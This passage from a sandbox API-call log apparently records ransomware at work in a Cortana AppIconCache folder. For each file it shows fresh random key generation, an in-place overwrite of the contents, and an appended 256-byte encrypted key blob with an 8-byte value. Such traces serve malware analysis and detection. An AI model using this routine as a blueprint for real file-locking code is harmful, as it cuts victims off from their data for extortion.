Size=0x120) returned 0x30dcb08 [0180.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.368] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D750F1B1-B0B7-4DA6-A9C0-1ABD8854F051}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{d750f1b1-b0b7-4da6-a9c0-1abd8854f051}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.368] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.368] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.390] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.390] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.390] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.390] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.390] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.390] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.391] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.391] CloseHandle (hObject=0x1af4) returned 1 [0180.401] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.401] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.401] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D2653F73-A5FA-4D15-B21C-E630C96E25AA}", dwFileAttributes=0x80) returned 1 [0180.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30db760 [0180.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.401] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D2653F73-A5FA-4D15-B21C-E630C96E25AA}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{d2653f73-a5fa-4d15-b21c-e630c96e25aa}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.401] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.402] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.403] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.403] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.403] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.403] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.403] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.404] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.404] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.404] CloseHandle (hObject=0x1af4) returned 1 [0180.405] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.405] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.405] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D1B85B9A-7DA9-4BFB-81AE-9FA53F5CF8F6}", dwFileAttributes=0x80) returned 1 [0180.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dbc00 [0180.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.405] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D1B85B9A-7DA9-4BFB-81AE-9FA53F5CF8F6}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{d1b85b9a-7da9-4bfb-81ae-9fa53f5cf8f6}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.406] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.406] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.407] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.407] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.408] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.408] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.408] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.408] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.408] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.408] CloseHandle (hObject=0x1af4) returned 1 [0180.409] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.409] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0180.409] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CF026799-E48E-4C9C-A4C5-90F40E61A8B9}", dwFileAttributes=0x80) returned 1 [0180.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dcb08 [0180.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.410] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CF026799-E48E-4C9C-A4C5-90F40E61A8B9}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{cf026799-e48e-4c9c-a4c5-90f40e61a8b9}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.410] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.410] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.412] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.412] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.412] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.412] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.412] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.412] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.413] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.413] CloseHandle (hObject=0x1af4) returned 1 [0180.414] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.414] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.414] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CEB91A43-1CEE-4EEE-98B6-9A4C011B37FA}", dwFileAttributes=0x80) returned 1 [0180.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30db760 [0180.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.415] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CEB91A43-1CEE-4EEE-98B6-9A4C011B37FA}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{ceb91a43-1cee-4eee-98b6-9a4c011b37fa}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.416] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.416] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.417] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.417] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.417] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.417] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.418] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.418] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.418] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.418] CloseHandle (hObject=0x1af4) returned 1 [0180.420] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.420] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.420] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CD020AAD-9574-4AF9-8BE0-5DEEEA418F08}", dwFileAttributes=0x80) returned 1 [0180.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dbad8 [0180.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.421] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CD020AAD-9574-4AF9-8BE0-5DEEEA418F08}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{cd020aad-9574-4af9-8be0-5deeea418f08}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.421] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.421] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.423] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.423] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.423] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.423] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.423] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.423] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.423] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.423] CloseHandle (hObject=0x1af4) returned 1 [0180.424] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.425] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.425] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CCFCB7FC-2028-4A4A-ABF5-E54B32C6B79B}", dwFileAttributes=0x80) returned 1 [0180.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc8b8 [0180.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.426] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CCFCB7FC-2028-4A4A-ABF5-E54B32C6B79B}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{ccfcb7fc-2028-4a4a-abf5-e54b32c6b79b}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.426] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.426] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.428] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.428] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.428] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.428] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.428] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.428] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.428] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.429] CloseHandle (hObject=0x1af4) returned 1 [0180.430] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.430] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0180.430] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CC7998BC-2891-44C5-8EC4-A45AC15BC944}", dwFileAttributes=0x80) returned 1 [0180.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc8b8 [0180.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.431] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CC7998BC-2891-44C5-8EC4-A45AC15BC944}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{cc7998bc-2891-44c5-8ec4-a45ac15bc944}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.431] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.431] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, 